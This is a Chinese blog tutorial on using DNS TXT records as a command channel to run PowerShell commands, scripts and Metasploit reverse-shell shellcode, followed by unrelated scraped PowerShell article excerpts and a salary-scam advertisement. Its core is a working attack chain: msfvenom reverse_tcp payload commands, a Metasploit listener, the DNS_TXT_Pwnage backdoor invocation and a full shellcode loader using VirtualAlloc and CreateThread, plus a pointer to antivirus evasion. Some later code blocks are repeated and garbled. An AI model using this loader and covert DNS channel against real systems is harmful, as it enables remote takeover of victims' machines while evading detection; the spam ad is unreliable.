通过DNS TXT记录执行powershell

0x00简介

DNS TXT记录一般用来记录某个主机名或者域名设置的说明,在这里可以填写任何东西,长度限制255。绝大多数的TXT记录是用来做SPF记录(反垃圾邮件)。本篇文章主要介绍如何使用 nishang 通过创建TXT记录执行powershell脚本。当然,首先你要有一个域名。

0x01创建TXT记录

这里需要使用nishang中的一个脚本 OUT-DnsTxt

1.常见命令

因为常见命令比较短,所以可以直接添加到TXT记录中,如下图:

现在查看一下TXT记录:

可以看到记录已经成功添加了。

2.脚本

由于TXT记录长度限制为255,如果要添加一个脚本到记录里面,需要添加多个TXT记录。下面是一个例子,自己写了一个PSH脚本:

function Get-User
 {
 <#
 .SYNOPSIS
 Script to generate DNS TXT for a test.
 .DESCRIPTION
 Use this script to get user information. to be more big.. more big... big..Do one thing at a time, and do well.Keep on going never give up.
 .EXAMPLE
 PS > Get-User
 #>

 [CmdletBinding()]
 Param ()
  net user
 }

使用Out-Dnstxt进行转换:

PS F:/DNS> . ./Out-DnsTxt.ps1
 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1
 You need to create 2 TXT records.
 All TXT Records written to F:/DNS/encodedtxt.txt

由于这个脚本比较小,所以只生产两行:

可以分别将这两行内容按顺序添加到 1.ps.domain.com到2.ps.domian.com中如下图:

查看TXT,可以看到内容都已经添加好了:

0x02 执行Powershell

添加完了TXT记录以后,通过 DNS_TXT_Pwnage.ps1 来执行这些脚本。

DNS_TXT_Pwnage.ps1 是一个通过DNS TXT来接收命令或者脚本的一个后门脚本

这里还需要添加两条记录,strat与stop,具体如下图:

1.执行命令

PS F:/DNS> . ./DNS_TXT_Pwnage.ps1
 PS F:/DNS> DNS_TXT_Pwnage -startdomain start.evi1cg.me -cmdstring start -commanddomain command.evi1cg.me -psstring test -psdomain xxx.evi1cg.me -
 Subdomains 1 -StopString stop

解释一下参数:

startdomain 为创建的 start.domain ,返回一个字符串; cmdstring 为任意输入的字符串; commanddomain 为创建的执行命令TXT记录的域名; psstring 为任意输入的字符串; psdomain 为创建的执行脚本TXT记录的域名或子域名 ; Subdomains 为执行脚本创建TXT记录的个数(如1.2中创建的脚本,该值为2); StopString 为任意输入的字符串。

此处比较重要的参数为 startdomain ,他会与我们输入的cmdstring以及psstring进行比较,如果与cmdstring值相等,则执行 commanddomain 即命令,与psstring相等则执行 psdomain 即脚本。

上面为执行命令,所以cmdstring值我们输入为start,与start.evi1cg.me的txt记录值相等,psstring随便输入,不留空就行。执行结果如下图:

我们可以通过修改command.domain的TXT值来执行不同的命令。比如Get-Host:

2.执行脚本

PS F:/DNS> . ./DNS_TXT_Pwnage.ps1
 PS F:/DNS> DNS_TXT_Pwnage -startdomain start.evi1cg.me -cmdstring bulabula -commanddomain command.evi1cg.me -psstring start -psdomain ps.evi1
 cg.me -Arguments Get-User -Subdomains 2 -StopString stop

这里要注意,psstring的值为start,与start.domain的TXT记录相同,cmdstring为任意字符串。效果如下图:

这里多一个参数 Arguments ,要写明要执行的函数名,测试发现,在脚本中含有中文时会失败。对于需要带参数的脚本可以修改脚本指定参数值。

0x03 执行Shellcode

可以通过TXT记录执行shellcode,首先,我们使用msf生成一个powershell的shellcode:

?  ~  sudo msfvenom -p windows/meterpreter/reverse_tcp -f powershell LHOST=x.x.x.x LPORT=8887 > pspayload.txt

使用Out-DnsTxt对生成的文件进行转换:

PS F:/DNS> Out-DnsTxt -DataToEncode ./pspayload.txt
 You need to create 3 TXT records.
 All TXT Records written to F:/DNS/encodedtxt.txt

然后将以上记录分别添加到TXT记录中,如下图:

测试使用的32位win7系统,使用msf开启监听:

msf > use exploit/multi/handler
 msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
 payload => windows/meterpreter/reverse_tcp
 msf exploit(handler) > set LPORT 8887
 LPORT => 8887
 msf exploit(handler) > set LHOST x.x.x.x
 LHOST => x.x.x.x
 msf exploit(handler) > exploit

 [*] Started reverse handler on x.x.x.x:8887
 [*] Starting the payload handler...

我们还需要一个获取TXT记录并执行的脚本,这里我改了一个脚本:

function Execute-Code
 {
 <#
 .PARAMETER Shelldomain
 The domain (or subdomain) whose subbdomain's TXT records would hold shellcode.
 .PARAMETER subdomains
 The number of subdomains which would be used to provide shellcode from their TXT records.
 .PARAMETER AUTHNS
 Authoritative Name Server for the domains.
 .EXAMPLE
 PS > Execute-Code
 The payload will ask for all required options.
 .EXAMPLE
 PS > Execute-Code -Shelldomain 32.alteredsecurity.com -SubDomains 5 -AUTHNS f1g1ns2.dnspod.net.
 Use above from non-interactive shell.
 #>
  [CmdletBinding()] Param(
     [Parameter(Position = 0, Mandatory = $True)]
     [String]
     $Shelldomain,
     [Parameter(Position = 1, Mandatory = $True)]
     [String]
     $Subdomains,
     [Parameter(Position = 2, Mandatory = $True)]
     [String]
     $AUTHNS
   )
  function Get-ShellCode
   {
   Param(
       [Parameter()]
       [String]
       $Shelldomain
     )
     $i = 1
     while ($i -le $subdomains)
     {
       $getcommand = (Invoke-Expression "nslookup -querytype=txt $i.$Shelldomain $AUTHNS")
       $temp = $getcommand | select-string -pattern "`""
       $tmp1 = ""
       $tmp1 = $tmp1 + $temp
       $encdata = $encdata + $tmp1 -replace '/s+', "" -replace "`"", ""
       $i++
     }
    #$encdata = ""
     $dec = [System.Convert]::FromBase64String($encdata)
     $ms = New-Object System.IO.MemoryStream
     $ms.Write($dec, 0, $dec.Length)
     $ms.Seek(0,0) | Out-Null
     $cs = New-Object System.IO.Compression.DeflateStream ($ms, [System.IO.Compression.CompressionMode]::Decompress)
     $sr = New-Object System.IO.StreamReader($cs)
     $sc = $sr.readtoend()
   return $sc
   }
   $Shell = (Get-ShellCode $Shelldomain)
   #Remove unrequired things from msf shellcode
   $tmp = $Shell -replace "`n","" -replace '/$buf /+/= ',"," -replace '/[Byte/[/]/] /$buf /=' -replace " "
   [Byte[]]$sc = $tmp -split ','
   #Code Execution logic
  $code = @"
  [DllImport("kernel32.dll")]
  public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
  [DllImport("kernel32.dll")]
  public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
  [DllImport("msvcrt.dll")]
  public static extern IntPtr memset(IntPtr dest, uint src, uint count);
 "@
   $winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru
  $size = 0x1000
   if ($sc.Length -gt 0x1000) {$size = $sc.Length}
   $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
   for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt64()+$i), $sc[$i], 1)}
  Try {
     $winFunc::CreateThread(0,0,$x,0,0,0)
     sleep 100000
   }
  Catch
  {
  [system.exception]
  "caught a system exception"
  }
 }

参数说明, Shelldomain 为创建txt记录的域名或子域名; subdomains 为创建TXT域名的个数,如上面所创建的为3; AUTHNS 为域的权威名称服务器,如我使用的狗爹,所以AUTHNS为f1g1ns2.dnspod.net

在32位win7上执行:

PS C:/Users/evi1cg/Desktop> . ./Execute-Code.ps1

成功获取meterpreter会话:

64位的请自行修改payload及脚本。

0x04 补充

Metasploit中已经含有此脚本 dns_txt_query_exec.rb ,此脚本查询TXT记录的顺序为a.domain,b.domain…,下面是一个示例,首先生成payload:

?  ~  sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=103.238.225.222 LPORT=8887 -e x86/alpha_mixed Bufferregister=EDI -f raw > reverse.txt

使用下面的脚本对该文件进行切割:

PS F:/DNS> . ./Out-DnsTxt.ps1
 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1
 You need to create 2 TXT records.
 All TXT Records written to F:/DNS/encodedtxt.txt

0

输出如下:

将这三行分别添加到a.domain,b.domain,c.domain的TXT记录中:

生成exe:

PS F:/DNS> . ./Out-DnsTxt.ps1
 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1
 You need to create 2 TXT records.
 All TXT Records written to F:/DNS/encodedtxt.txt

1

msf开启监听:

PS F:/DNS> . ./Out-DnsTxt.ps1
 PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1
 You need to create 2 TXT records.
 All TXT Records written to F:/DNS/encodedtxt.txt

2

运行exe,获得meterpreter:

至于免杀,可以直接生成c格式的shellcode,然后按照 打造免杀payload 来做。

0x05 小结

本文主要介绍一种执行命令的方式以及nishang的脚本使用,希望能对大家有帮助。

时间: 2017-10-17

PowerShell读取文件内容、替换文件内容、读取限定行的例子

我只能说,使用PowerShell来读取文本文件实在是一件太简单的事情了. Get-Content,获取指定位置的项的内容. 语法:Get-Content [-Path] <文件路径> [-Path]由方括号引起,表示可以写,也可以不写:不写则默认后面是文件路径,写了就指名道姓的说后面是文件路径. 直接运行这样一个命令,PowerShell将会把文件的内容输出到控制台上,如果你是想看看文件的内容,那这样做就Perfect! 但有时候,你想玩点高难度的运作--想把文件翻开来对里面的内容进行修改,

Powershell实现编写和运行脚本

一个Powershell仅仅是一个包含Powershell代码的文本文件.如果这个文本文件执行,Powershell解释器会逐行解释并执行它的的语句.Powershell脚本非常像以前CMD控制台上的批处理文件.您可以通过非常简单的文本编辑工具创建Powershell脚本. 通过重定向创建脚本 如果您的脚本不是很长,您甚至可以直接在控制台中要执行的语句重定向给一个脚本文件. PS E:> '"Hello,Powershell Script"' > MyScript.ps1

Win8系统中使用PowerShell安装APPX应用命令介绍

在Windows 8平台上,可以安装最新的LOB(业务线)应用程序,即后缀为.APPX的程序.APPX程序一般都需要开发者提交给Windows应用商店,由它审核后统一发布,其他用户通过应用商店下载安装.如果我们自己开发的一个APPX程序,我只想给自己或少部分人用,那也不必走应用商店的复杂流程,可以自己安装在自己的设备上. 本文就介绍如何使用PowerShell来安装APPX程序.当然,这里要注意,既然是APPX程序,那一定是Windows 8系统:既然是Windows 8,那一定是PowerSh

Windows Powershell 介绍和安装

Powershell 是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境.你可以把它看成是命令行提示符cmd.exe的扩充,不对,应当是颠覆. powershell需要.NET环境的支持,同时支持.NET对象.微软之所以将Powershell 定位为Power,并不是夸大其词,因为它完全支持对象.其可读性,易用性,可以位居当前所有shell之首. 当前powershell有四版本,分别为1.0,2.0,3.0 ,4.0 如果您的系统是window7或者Windows Ser

PowerShell中使用Get-Date获取日期时间并格式化输出的例子

在PowerShell中有一个Get-Date的cmdlet,使用它可以直接返回当前的日期和时间.使用-Format参数可以返回当前的年.月.日.时.分.秒等. Get-Date的直接使用 在PowerShell中直接调用Get-Date,可以返回当前的日期和时间,包括年.月.日.时.分.秒.举例如下: 复制代码 代码如下: PS C:\Users\zhanghong> Get-Date 2013年9月9日 22:26:56 Write-Host中使用Get-Date 注意:在Write-Hos

25个常用PowerShell命令总结

尽管Windows PowerShell已经出现一段时间了,习惯命令行的管理员可能对了解PowerShell功能的基础很感兴趣. 下面我们看看能由Windows PowerShell完成的最常见的25个任务.不止是这些任务很简单,显示语句的命令架构和其他PowerShell命令也很简单.掌握好这些基本命令是成为PowerShell专家的必经之路. 入门级别 1. 像文件系统那样操作Windows Registry--cd hkcu: 2. 在文件里递回地搜索某个字符串--dir –r | sel

浅谈CMD和win powershell的区别

cmd是和powershell都可以做命令行交互,批处理和powershell脚本功能也相当. 我不知道你怎么理解cmd,但下面是powershell是基于.net的,只要你足够了解.net,你可以使用她做任何你想做的事情. Windows PowerShell 是专为系统管理员设计的新 Windows 命令行 shell.Windows PowerShell 包括交互式提示和脚本环境,两者既可以独立使用也可以组合使用. 与接受和返回文本的大多数 shell 不同,Windows PowerSh

PowerShell 入门基础教程

Windows PowerShell 是专为系统管理员设计的新 Windows 命令行外壳程序.该外壳程序包括交互式提示和脚本环境,两者既可以独立使用也可以组合使用. 现在win2008,win7都集成了PowerShell,系统不带PowerShell可以自行到官方下载安装即可. 下载地址:http://www.jb51.net/jiaoben/67200.html 解读: 1.什么是交互式提示? 答:交互式提示就像打开一个cmd窗口,在里面执行一个ping命令一样,它会动态的输入结果.也可以

Windows PowerShell是啥?看完本文你就懂它了

引子 一直很羡慕Linux的命令提示符(当然他们叫Shell).正则表达式,管道,各种神奇的命令,组合起来就能高效完成很多复杂的任务.效率实在是高.流了n年的哈喇子以后,终于有幸用上了Win7,邂逅了cmd的升级版:Windows PowerShell.从此暗爽无比,原来Windows下也有这样的利器呀~ 看看下面的Windows脚本,不到15行有效代码.在Win7下只要右击脚本文件,选择Run with PowerShell,就会自动找到最占内存的10个进程,然后将它们占用的内存画成一个三维饼

你了解C#的协变和逆变吗,看完这篇就懂了

从C# 4.0开始,泛型接口和泛型委托都支持协变和逆变,由于历史原因,数组也支持协变. 里氏替换原则:任何基类可以出现的地方,子类一定可以出现. 协变(out) 协变:即自然的变化,遵循里氏替换原则,表现在代码上则是任何基类都可以被其子类赋值,如Animal = Dog.Animal = Cat 使用out关键字声明(注意和方法中修饰参数的out含义不同) 被标记的参数类型只能作为方法的返回值(包括只读属性) 在没有协变时: abstract class Animal {} class Dog

Windows Powershell 自动化变量

Powershell 自动化变量 是那些一旦打开Powershell就会自动加载的变量. 这些变量一般存放的内容包括 用户信息:例如用户的根目录$home 配置信息:例如powershell控制台的大小,颜色,背景等. 运行时信息:例如一个函数由谁调用,一个脚本运行的目录等. PS> $HOME C:\Users\test PS> $currentProcessID=$pid PS> $currentProcessID 5356 PS> Get-Process -Id $pid H

Windows Powershell Where-Object 条件过滤

过滤管道结果 使用Get-Process返回所有的当前进程 ,但是你可能并不对所有的进程感兴趣,然后通过每个Process对象的属性进行过滤.首先得知道每个对象支持那些属性. 复制代码 代码如下: PS C:Powershell> Get-Process | select -First 1 | fl * __NounName                 : Process Name                       : AcroRd32 Handles               

Windows Powershell使用管道

管道并不是什么新事物,以前的Cmd控制台也有重定向的命令,例如Dir | More可以将结果分屏显示. 传统的Cmd管道是基于文本的,但是Powershell是基于对象. PS> ls | Sort-Object -Descending Name | Select-Object Name,Length,LastWriteTime | ConvertTo-Html | Out-File ls.html PS> Get-Content .ls.html Name Length LastWriteT

Windows Powershell属性:描述对象是什么

属性可以描述一个对象,对象的属性可以被Powershell自动转换成文本,并且输出到控制台.因此可以通过这种方法查看任何对象,例如$host: 复制代码 代码如下: PS C:Powershell> $host Name              : ConsoleHost Version           : 2.0 InstanceId            : 7fefa1fa-fb2e-47c7-a867-c13b123da5c2 UI                : System.

Windows PowerShell 微软官方解释

通过提供一百多种系统管理实用工具.一致的语法.及对普通管理数据更好地导航(如登记或 Windows Management Instrumentation (WMI)),Windows PowerShell 使 Windows 管理员提高了生产力.Windows PowerShell 还包括全面启动 Windows 系统自动化管理任务的脚本编写语言.Windows PowerShell 语言是直观的,并支持贵企业现有的脚本和命令行工具投入.Exchange Server 2007 和 System

Windows Powershell 别名

简短描述 在Windows PowerShell中, 别名就是cmdlets或其他命令的替代名称. 详细描述 别名就是cmdlet或者命令(例如: 函数, 脚本, 文件, 可执行文件. )的替代名称或者说是个昵称. 在使用命令的地方, 你都可以使用别名. cmdlet 的名称由一个动词和一个名词组成,其功能对用户来讲一目了然.但是对于一个经常使用powershell命令的人每天敲那么多命令也很麻烦啊.能不能把命令缩短一点呢?于是"别名"就应运而生了.Powershell内部也实现了很多

看完工资立马翻3倍!(非程序员勿看)

看完下面阿里巴巴架构师出品的全套秘籍,你工资起码翻3倍!起步薪资30K!如果达不到,我立马赔给你1000元整!每天前10名直接免费!免费!免费! 有不懂的还可以直接问我! 我私人微信在下面的图片里!